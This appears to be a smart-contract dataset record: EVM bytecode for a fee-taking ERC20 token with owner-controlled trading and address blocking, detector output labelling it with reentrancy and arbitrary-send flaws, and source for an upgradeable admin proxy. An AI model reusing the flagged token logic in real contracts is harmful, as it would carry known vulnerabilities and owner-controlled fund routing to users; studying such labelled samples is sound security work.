3b158015611c0857600080fd5b505af1158015611c1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4091906135e3565b506001601560146101000a81548160ff0219169083151502179055506105dc42611c6a9190613cad565b6016819055504260118190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cbb611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614611cdb57600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611d63601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e49565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e30611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614611e5057600080fd5b80601560176101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edc90613b68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613a88565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120339190613bc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a790613b48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790613a48565b60405180910390fd5b60008111612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a90613b28565b60405180910390fd5b61216b611156565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121d957506121a9611156565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156126cd57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122825750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61228b57600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123365750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561238c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125bf57601560149054906101000a900460ff166123e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d790613ba8565b60405180910390fd5b60158054906101000a900460ff16806124425750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613b08565b60405180910390fd5b620151806011546124929190613cad565b4211156124a757600d54600c819055506124b0565b6009600c819055505b4260165411156125be5760006124c583610e49565b9050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561256c57612549606461253b6001683635c9adc5dea00000612bfc90919063ffffffff16565b612c7790919063ffffffff16565b61255c8284612cc190919063ffffffff16565b111561256757600080fd5b6125bc565b61259d61019061258f6001683635c9adc5dea00000612bfc90919063ffffffff16565b612c7790919063ffffffff16565b6125b08284612cc190919063ffffffff16565b11156125bb57600080fd5b5b505b5b60006125ca30610e49565b9050601560189054906101000a900460ff161580156126375750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561264f5750601560149054906101000a900460ff165b156126cb57620151806011546126659190613cad565b42111561267a57600e54600c81905550612683565b6018600c819055505b600a548111156126b157601560179054906101000a900460ff166126a757600a5490505b6126b081612974565b5b600047905060008111156126c9576126c84761280b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127745750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061278b5750601560169054906101000a900460ff165b1561279557600090505b6127a184848484612d1f565b50505050565b60008383111582906127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e69190613a26565b60405180910390fd5b50600083856127fe9190613d8e565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61285b600284612c7790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612886573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6128d7600284612c7790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612902573d6000803e3d6000fd5b5050565b600060085482111561294d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294490613a68565b60405180910390fd5b6000612957612d4c565b905061296c8184612c7790919063ffffffff16565b915050919050565b6001601560186101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156129ac576129ab613f44565b5b6040519080825280602002602001820160405280156129da5781602001602082028036833780820191505090505b50905030816000815181106129f2576129f1613f15565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9457600080fd5b505afa158015612aa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612acc919061343c565b81600181518110612ae057612adf613f15565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b4730601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611e75565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612bab959493929190613be3565b600060405180830381600087803b158015612bc557600080fd5b505af1158015612bd9573d6000803e3d6000fd5b50505050506000601560186101000a81548160ff02191690831515021790555050565b600080831415612c0f5760009050612c71565b60008284612c1d9190613d34565b9050828482612c2c9190613d03565b14612c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6390613ac8565b60405180910390fd5b809150505b92915050565b6000612cb983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d77565b905092915050565b6000808284612cd09190613cad565b905083811015612d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0c90613aa8565b60405180910390fd5b8091505092915050565b80612d2d57612d2c612dda565b5b612d38848484612e1d565b80612d4657612d45612fe8565b5b50505050565b6000806000612d59612ffc565b91509150612d708183612c7790919063ffffffff16565b9250505090565b60008083118290612dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db59190613a26565b60405180910390fd5b5060008385612dcd9190613d03565b9050809150509392505050565b6000600b54148015612dee57506000600c54145b15612df857612e1b565b600b54600f81905550600c546010819055506000600b819055506000600c819055505b565b600080600080600080612e2f8761305e565b955095509550955095509550612e8d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f2285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cc190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6e81613110565b612f7884836131cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612fd59190613bc8565b60405180910390a3505050505050505050565b600f54600b81905550601054600c81905550565b600080600060085490506000683635c9adc5dea000009050613032683635c9adc5dea00000600854612c7790919063ffffffff16565b82101561305157600854683635c9adc5dea0000093509350505061305a565b81819350935050505b9091565b600080600080600080600080600061307b8a600b54600c54613207565b925092509250600061308b612d4c565b9050600080600061309e8e87878761329d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061310883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127a7565b905092915050565b600061311a612d4c565b905060006131318284612bfc90919063ffffffff16565b905061318581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cc190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6131e2826008546130c690919063ffffffff16565b6008819055506131fd81600954612cc190919063ffffffff16565b6009819055505050565b6000806000806132336064613225888a612bfc90919063ffffffff16565b612c7790919063ffffffff16565b9050600061325d606461324f888b612bfc90919063ffffffff16565b612c7790919063ffffffff16565b9050600061328682613278858c6130c690919063ffffffff16565b6130c690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806132b68589612bfc90919063ffffffff16565b905060006132cd8689612bfc90919063ffffffff16565b905060006132e48789612bfc90919063ffffffff16565b9050600061330d826132ff85876130c690919063ffffffff16565b6130c690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061333581614293565b92915050565b60008151905061334a81614293565b92915050565b60008135905061335f816142aa565b92915050565b60008083601f84011261337b5761337a613f78565b5b8235905067ffffffffffffffff81111561339857613397613f73565b5b6020830191508360208202830111156133b4576133b3613f7d565b5b9250929050565b6000813590506133ca816142c1565b92915050565b6000815190506133df816142c1565b92915050565b6000813590506133f4816142d8565b92915050565b600081519050613409816142d8565b92915050565b60006020828403121561342557613424613f87565b5b600061343384828501613326565b91505092915050565b60006020828403121561345257613451613f87565b5b60006134608482850161333b565b91505092915050565b60006020828403121561347f5761347e613f87565b5b600061348d84828501613350565b91505092915050565b600080604083850312156134ad576134ac613f87565b5b60006134bb85828601613326565b92505060206134cc85828601613326565b9150509250929050565b6000806000606084860312156134ef576134ee613f87565b5b60006134fd86828701613326565b935050602061350e86828701613326565b925050604061351f868287016133e5565b9150509250925092565b600080604083850312156135405761353f613f87565b5b600061354e85828601613326565b925050602061355f858286016133e5565b9150509250929050565b600080602083850312156135805761357f613f87565b5b600083013567ffffffffffffffff81111561359e5761359d613f82565b5b6135aa85828601613365565b92509250509250929050565b6000602082840312156135cc576135cb613f87565b5b60006135da848285016133bb565b91505092915050565b6000602082840312156135f9576135f8613f87565b5b6000613607848285016133d0565b91505092915050565b60006020828403121561362657613625613f87565b5b6000613634848285016133e5565b91505092915050565b60008060006060848603121561365657613655613f87565b5b6000613664868287016133fa565b9350506020613675868287016133fa565b9250506040613686868287016133fa565b9150509250925092565b600061369c83836136a8565b60208301905092915050565b6136b181613dc2565b82525050565b6136c081613dc2565b82525050565b60006136d182613c68565b6136db8185613c8b565b93506136e683613c58565b8060005b838110156137175781516136fe8882613690565b975061370983613c7e565b9250506001810190506136ea565b5085935050505092915050565b61372d81613de6565b82525050565b61373c81613e29565b82525050565b600061374d82613c73565b6137578185613c9c565b9350613767818560208601613e3b565b61377081613f8c565b840191505092915050565b6000613788602383613c9c565b915061379382613f9d565b604082019050919050565b60006137ab602a83613c9c565b91506137b682613fec565b604082019050919050565b60006137ce602283613c9c565b91506137d98261403b565b604082019050919050565b60006137f1601b83613c9c565b91506137fc8261408a565b602082019050919050565b6000613814602183613c9c565b915061381f826140b3565b604082019050919050565b6000613837602083613c9c565b915061384282614102565b602082019050919050565b600061385a601183613c9c565b91506138658261412b565b602082019050919050565b600061387d602983613c9c565b915061388882614154565b604082019050919050565b60006138a0602583613c9c565b91506138ab826141a3565b604082019050919050565b60006138c3602483613c9c565b91506138ce826141f2565b604082019050919050565b60006138e6601783613c9c565b91506138f182614241565b602082019050919050565b6000613909601883613c9c565b91506139148261426a565b602082019050919050565b61392881613e12565b82525050565b61393781613e1c565b82525050565b600060208201905061395260008301846136b7565b92915050565b600060408201905061396d60008301856136b7565b61397a60208301846136b7565b9392505050565b600060408201905061399660008301856136b7565b6139a3602083018461391f565b9392505050565b600060c0820190506139bf60008301896136b7565b6139cc602083018861391f565b6139d96040830187613733565b6139e66060830186613733565b6139f360808301856136b7565b613a0060a083018461391f565b979650505050505050565b6000602082019050613a206000830184613724565b92915050565b60006020820190508181036000830152613a408184613742565b905092915050565b60006020820190508181036000830152613a618161377b565b9050919050565b60006020820190508181036000830152613a818161379e565b9050919050565b60006020820190508181036000830152613aa1816137c1565b9050919050565b60006020820190508181036000830152613ac1816137e4565b9050919050565b60006020820190508181036000830152613ae181613807565b9050919050565b60006020820190508181036000830152613b018161382a565b9050919050565b60006020820190508181036000830152613b218161384d565b9050919050565b60006020820190508181036000830152613b4181613870565b9050919050565b60006020820190508181036000830152613b6181613893565b9050919050565b60006020820190508181036000830152613b81816138b6565b9050919050565b60006020820190508181036000830152613ba1816138d9565b9050919050565b60006020820190508181036000830152613bc1816138fc565b9050919050565b6000602082019050613bdd600083018461391f565b92915050565b600060a082019050613bf8600083018861391f565b613c056020830187613733565b8181036040830152613c1781866136c6565b9050613c2660608301856136b7565b613c33608083018461391f565b9695505050505050565b6000602082019050613c52600083018461392e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613cb882613e12565b9150613cc383613e12565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cf857613cf7613eb7565b5b828201905092915050565b6000613d0e82613e12565b9150613d1983613e12565b925082613d2957613d28613ee6565b5b828204905092915050565b6000613d3f82613e12565b9150613d4a83613e12565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d8357613d82613eb7565b5b828202905092915050565b6000613d9982613e12565b9150613da483613e12565b925082821015613db757613db6613eb7565b5b828203905092915050565b6000613dcd82613df2565b9050919050565b6000613ddf82613df2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613e3482613e12565b9050919050565b60005b83811015613e59578082015181840152602081019050613e3e565b83811115613e68576000848401525b50505050565b6000613e7982613e12565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613eac57613eab613eb7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420696e2077686974656c6973742e000000000000000000000000000000600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61429c81613dc2565b81146142a757600080fd5b50565b6142b381613dd4565b81146142be57600080fd5b50565b6142ca81613de6565b81146142d557600080fd5b50565b6142e181613e12565b81146142ec57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203cf8b3688f995a639ced9843332694262af3fea2bd29eb33a112a2678dad231c64736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,581 |
0x603ec42623d899f3e34af949cb0b926627f0cdfa
|
/**
*Submitted for verification at Etherscan.io on 2020-09-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b